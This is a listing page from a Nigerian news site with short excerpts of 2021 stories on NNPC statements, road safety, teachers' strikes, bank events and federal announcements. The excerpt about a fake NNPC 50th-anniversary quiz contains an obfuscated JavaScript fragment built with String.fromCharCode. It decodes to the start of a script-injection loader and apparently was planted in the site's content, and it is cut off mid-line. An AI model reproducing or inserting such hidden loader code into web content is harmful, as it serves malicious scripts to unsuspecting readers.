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5Dec By Gami TadanyigbeNo Comments

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US Cultural Affairs Officer urges FG to invest in school Arts

Mr Madison Conoley, the Cultural Affairs Officer, Embassy of the United States of America has called on the Federal Government especially Ministry of Education to provide the needed infrastructures artist need to display their works for the development of arts in the country. Conoley who made the call in a interview with the News Agency of Nigeria (NAN) during the US Mission & SNA School Art Project in Abuja, said there was need for arts to be included among the different curses in the school curriculum. He said Arts exchange is one of the most important values that United States of America and Nigeria share either visual or performing arts to the audience for the development of arts in the country. According to him, If the youths are adequately engaged through arts, it would...

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30Nov By Sharpedge NewsNo Comments

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First Bank Holds Non-oil Export Webinar Series, Creates Awareness of the Bank’s Export Solutions

First Bank of Nigeria Limited, Nigeria’s premier and leading financial inclusion services provider, has announced the convening of its non-oil export webinar series. The event is centered on deliberating opportunities that will enhance the country’s expansion of its drive towards diversifying the national economy, thereby reducing the reliance of oil as a mainstay of the country’s revenue.   The first series of the virtual event is scheduled for 10 am on Tuesday, 30th November 2021 via Zoom meeting. To register and be part of this transformational knowledge session, click on this link-https://www.firstbanknigeria.com/business/non-oil-export/. Registration is Free!!  The event is themed “Building Sustainable Non-Oil Export in Nigeria; Harnessing Opportunities within the AfCFTA T...

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25Nov By Gami TadanyigbeNo Comments

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Unpaid Areas: FCT NUT embarks on indefinite strike for Primary schools, secondary resume work

The Nigeria Union of Teachers (NUT) in the Federal Capital Territory, FCT, have embarked on an indefinite strike for Primary schools in FCT afrter a five- day warning strike from last week. The NUT chairman, Comrade Stephen Knabayi, made this known in an interview with the News Agency of Nigeria (NAN) after an Emergency State Wing Executive Council Meeting (SWEC) in Gwagwalada. Knabayi, however said the secondary school teachers are to resume work Thursday, due to the outcome of the resolutions reached after the SWEC meeting. According to him, refusal to heed the union’s call to pay teachers’ entitlements, which include non-implementation of 2019 and 2020 promotion arrears in some LEAs and and upgrading of qualified teachers had made the union to embark on industrial strike acti...

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13Nov By Sharpedge NewsNo Comments

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FIRSTBANK CELEBRATES YOUTH WEEK 2021

From showcasing of talents, to the art of fashion design, identifying youths in the food business and lots more, Nigeria’s leading financial services providers, First Bank of Nigeria Limited has reiterated its commitment to Youth Empowerment and Entrepreneurship through the celebration of its ongoing 2021 Youth Week. The Youth Week, themed “The Future is Now, Let’s Takeover” started on Monday, 8 November 2021. The event comprises a variety of activities, including: Youth themed Future Forward activities, First@arts Creative Artistry Empowerment Workshop, Grooming and Wellness Workshops, Digital Engagements, Virtual Mini Concert, and many more. Each activity is associated with various gift items, including gift vouchers and cash prizes. During the celebration...

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24Oct By Dayo OmoogunNo Comments

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  The Christian Association of Nigeria (CAN) has called on the Federal Government  to rejig the  country's  security achitecture to tackle the bourgeoning security challenges. The Association made the call Thursday while commiserating with the Sultan of Sokoto, His Eminence Muhammadu Sa'ad Abubakar III, the people and the government of Sokoto State on the recent killing of innocent people and destruction of property by bandits at the Goronyo Central Market in the State.   "We are shocked, pained and disappointed with the reported attacks and the loss of many lives despite all the efforts being made by the government to stop these criminal elements amidst us. CAN condemns in strong terms the operations of these criminals and tasked security agencies to rise up to this menace before i...

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22Oct By Gami TadanyigbeNo Comments

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FRSC launches ‘Ember Months’ Campaign in Kuje, tasks motorists on safety

The Federal Road Safety Corps (FRSC), RS 7.17 Kuje Unit has launched its 2021 Ember Months Campaign Rally, with the theme: Maintain Safe Speed, Avoid Night Travels and Enjoy Quality Road Experience”. Mr Samuel Ochi, the Federal Capital Territory (FCT) Sector Commander, while launching the campaign in Kuje urged motorists to always maintain a safe speed and obey traffic rules and regulations. ”The essence of the campaign is to ensure that accidents are reduced on the roads during the ember months when travelers would want to embark on journeys during Christmas and New year,” he said. The sector commander enjoined motorists and other road users to maintain a safe speed, avoid night travels and enjoy a quality road experience by not overtaking unnecessarily. He applauded FRSC Kuj...

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20Oct By Dayo OmoogunNo Comments

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Beware! Purported 50th Anniversary Quiz Contest is Fake – NNPC

The Nigerian National Petroleum Corporation has disowned a fake quiz competition trending online which claims to celebrate its 50th anniversary. In a statement signed by its Group General Manager, Public Affairs, Mr. Garbadeen Muhammed, the Corporation dissociated itself from the scam. According to the statement, "In the purported quiz contest, unsuspecting participants are encouraged to answer four questions on their knowledge of the Corporation, with the eventual winner standing the chance of winning some cash reward of up to N30,000. "The NNPC wishes to state categorically that it has nothing to do with the purported 50th-anniversary quiz contest, "  var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97...

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6Oct By Dayo OmoogunNo Comments

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NNPC Is Not Hiring

The Nigerian National Petroleum Corporation (NNPC) is not currently recruiting staff contrary to the lies and rumors being peddled online. This clarification was categorically put forward by the Corporation in a statement by its spokesperson, Garbadeen Muhammed dated October 3, 2021. "This is to inform the public that the information circulating in the Social Media that the Nigerian National Petroleum Corporation (NNPC) is conducting a recruitment exercise IS NOT TRUE and the public should disregard it in its entirety", the statement said. The Corporation assured the public that whenever it is recruiting it will be appropriately and effectively communicated in a manner that is reliable and easily verifiable. "Whenever NNPC decides to conduct a recruitment exercise, it will announ...

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5Oct By Mohammed MohammedNo Comments

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Small Arms, Light Weapons Bill Receives Legislative Attention

An Executive Bill seeking to establish a National Commission against the proliferation of small arms and light weapons is presently receiving attention at the National Assembly (NASS). This Bill is in alignment with the Economic Community of West African States (ECOWAS) Convention on small arms and light weapons, their ammunition and other related materials has passed second reading in the House of Representatives. The Chairman of the Committee on Firearms Act (Amendment), Mr. Ossai Nicholas Ossai, who chaired a public hearing on the bill, in his welcome address on Monday, said the hearing is part of effort by the National Assembly to advance legal solution to the growing insecurity bedeviling the country. The Bill, is part of Executive Bills, referred to the House of Representat...

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29Sep By Mohammed MohammedNo Comments

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FG Declares Friday Public Holiday

The Federal Government has declared  Friday , October 1, as public holiday to mark the nation’s 61st  independence anniversary celebratelebration. The Minister of Interior, Ogbeni Rauf Aregbesola who made the declaration on behalf of the Federal Government, congratulates all Nigerians on this year’s celebration of the country’s 61st  independence and assures of government’s  commitment to tackle and eradicate all forms of challenges –be it political socio-economic  and all diverse problems. Dr Shuaib Before, the Permanent Secretary, who signed the statement on behalf of the Minister,  said that our warmth, welcoming spirit and love as well as the abundant wealth inherent in our human capital and the richness of our land, makes Nigeria unarguably the leading black  nation in the worl...

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22Sep By Mohammed MohammedNo Comments

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Buhari Seeks Amendment to Petroleum Industry Act 

The Senate has received a request from President Muhammadu Buhari, to amend the Petroleum Industry Act 2021 passed by the National Assembly over two months ago. The request was contained in a letter dated September 16, 2021, and read during the plenary on Tuesday by the Senate President, Ahmad Lawan.  President Buhari in the letter explained that the appointment of two non-executive members as provided for by the Act to the board of the Nigerian Midstream and Downstream Petroleum Regulatory Authority (NPRA) and Upstream Regulatory Commission (URC) does not reflect balanced geopolitical representation.  He, therefore, requested amendment to Sections 11(2)(b) and 34(2)(b) which provides for the Administrative Structure of the PIA 2021, to increase the number of the non-executi...

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15Sep By Dwelleth MorountodunNo Comments

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Arthur Eze Commends Buhari on 70% Completion of Second Niger Bridge, Others

President Muhammadu Buhari has received accolades on the infrastructural development in the South-East, particularly the second Niger Bridge, which has attained about 70% completion and slated for commissioning before the end of 2022.  Oil tycoon, Prince Arthur Eze, gave the plaudits during a private visit to the President Tuesday night at the Presidential Villa, Abuja.  This was as contained in a statement signed by Mr. Femi Adesina, said the businessman urged Nigerians to always preach peace as against hate, and draw lessons from countries suffering the effect of war.  He pledged loyalty and commitment to the unity, peace and indivisibility of Nigeria, urging President Buhari to stay focused and not be distracted by agitations for separatism rocking some parts of...

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13Sep By Dwelleth MorountodunNo Comments

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Digital Media Key to Nigeria’s Digital Economy – NITDA

The Director-General (DG) of the National Information Technology Development Agency (NITDA), Mallam Inuwa Abdullahi, has said the deployment of Nigeria’s digital media is not only an enabler but it is a potent key to the evolution of Nigeria’s digital economy. According to him, digital media is one of the fastest-growing components of digital economy in the country with a lot of potentials stressing that this trajectory will stimulate job creation and foreign direct investment into the country thereby adding up to the Gross Domestic Product (GDP) of the nation with a projection to hit $30 billion by 2030. Abdullahi, has advocated the deployment of digital media Digital as key enabler for Nigeria’s digital economy, stressing that digital media is, therefore, one of the key enablers o...

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18Aug By Dayo OmoogunNo Comments

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NNPC Commits to Supporting NLNG

The Group Managing Director of the Nigerian National Petroleum Corporation (NNPC), Mallam Mele Kyari, has reiterated the Corporation’s commitment to supporting the Nigeria Liquefied Natural Gas (NLNG) Limited towards achieving its goal of becoming a global LNG company of choice. Speaking as a Guest of Honour at the 2021 NLNG Health Safety and Environment (HSE) Day, the GMD, who was represented by the Group General Manager, LNG Investment Management Services (LIMS), Nike Kolawole, said HSE was a critical determinant of business performance success across the oil and gas industry. Kyari stated that as a principal shareholder in the company, NNPC would continue to ensure that NLNG placed more emphasis on HSE, stressing that “no matter the figures, indices or values recorded in producti...

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13Aug By Dwelleth MorountodunNo Comments

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Food Security: FG Moves to Create Enabling Environment for Youth Participation in Agriculture

Against the background of skyrocketing food prices, the federal government in collaboration with relevant stakeholders has started an awareness campaign to enable youth to make an informed decision on food choices in line with the increasing global education on the healthiest and most sustainable options for both individuals and the environment.The Minister of Youth and Sports Development, Mr. Sunday Akin Dare disclosed this today in Abuja at the occasion of the commemoration of the 2021 International Youth Day Celebration (IYD).According to him “Government will create the enabling environment and inclusive support mechanisms to ensure that the youth continue to amplify efforts collectively and individually to restore the planet and protect life while integrating biodiversity in the trans...

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13Aug By Felix ShammahNo Comments

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Niger Delta Contractors Appeals to Buhari, Akpabio, Akwa to Pay for Completed Projects

By Emma Eyibio A coalition of Niger Delta contractors have appealed to President Muhammadu Buhari,  the Minister of Niger Delta Affairs, Godswill Akpabio and the Interim Administrator of the Niger Delta Development Commission (NDDC) Effiong Akwa, to pay for all completed contracts. This was contained in a statement issued Wednesday by its Chairman and Secretary, Engr. Kelvin Douglas and  Preye Briggs, the coalition said their members “are dying on a daily basis as a result of pressure from banks loans, harassment and intimidation”.  They added that some other contractors have developed high blood pressure already. To this end, they also begged the Presidency to intervene in the matter, stressing that some contractors completed their jobs two years ago or more and are yet to acces...

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2Aug By Dayo OmoogunNo Comments

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NNPC Records Petroleum Product Sale of ₦234.63bn in March

The Nigerian National Petroleum Corporation (NNPC) has announced that its downstream subsidiary, the Petroleum Products Marketing Company (PPMC), recorded ₦234.63 billion revenue from the sale of white products in the month of March 2021 representing a 24.7% increase from the ₦188.15billion sales recorded in the previous month of February 2021. This is contained in the March 2021 edition of the NNPC Monthly Financial and Operations Report (MFOR), according to a press release by the Group General Manager, Group Public Affairs Division of the Corporation, Dr. Kennie Obateru. The report indicated that total revenues generated from the sales of white products for the period of March 2020 to March 2021 stood at ₦2.129trillion, where petrol contributed about 99.24% of the total sales with...

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30Jul By Mohammed MohammedNo Comments

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Looming Hunger: Former VP Warns over Looming Calamity in Nigeria

Former Vice President, Alhaji Atiku Abubakar, on Friday stated that the warning given by the Food and Agriculture Organisation (FAO) of the United Nations (UN), on Wednesday, of a looming acute food crisis in Northern Nigeria should not be ignored. According to him, the dire warning should be seen and heard as a whistleblowing moment that ought to draw the focus of the Federal Government, being that Northern Nigeria is the food basket of the nation, and any famine there will have a national impact on the rest of the country and cross border impacts in the West African sub-region. Atiku said the laissez-faire approach taken by the federal government to this most important issue is regrettable. Food security is a vital part of national security, and where this issue is not resolved, t...

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30Jul By Gami TadanyigbeNo Comments

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FG Reiterates Commitment to Addressing Challenges of Infrastructure Development Deficits

The Secretary to the Government of the Federation (SGF) Boss Mustapha, says the Federal Government is committed to addressing the country’s challenges on infrastructure development. Mustapha said this on Thursday in Abuja at a Townhall Meeting organized by a group called the Business Hallmark Public Policy Forum with the theme, `Nigeria’s Infrastructure Revolution: Road to a new future.’ He said that the meeting was dedicated to an aspect of development that requires effective collaboration between the public and the private sectors for the development of the country. “It is important that we appreciate where we are coming from, where we stand, what we need to do to get to our desired destination and what government is doing to facilitate reaching the destination. “At inceptio...

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26Jul By Mohammed MohammedNo Comments

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FG Extends NIN-SIM Verification Deadline to October

Federal Government has approved the extension of the deadline for National Identity Number (NIN)-Subscriber Identity Module (SIM) data verification to October 31, 2021.   The decision to extend the deadline was made following a request by stakeholders to accommodate registration in hard-to-reach remote areas, foreigners and diplomatic missions, diaspora and address low enrolments in schools and hospitals, as evidenced by enrolment statistics.   The decision also followed a review of the progress of the exercise which indicated significant progress, hence the need to consolidate the gains of the enrolment and NIN-SIM verification process across the country.  As at July 24, 2021, there are over 5,500 enrolment systems within and outside the country and this woul...

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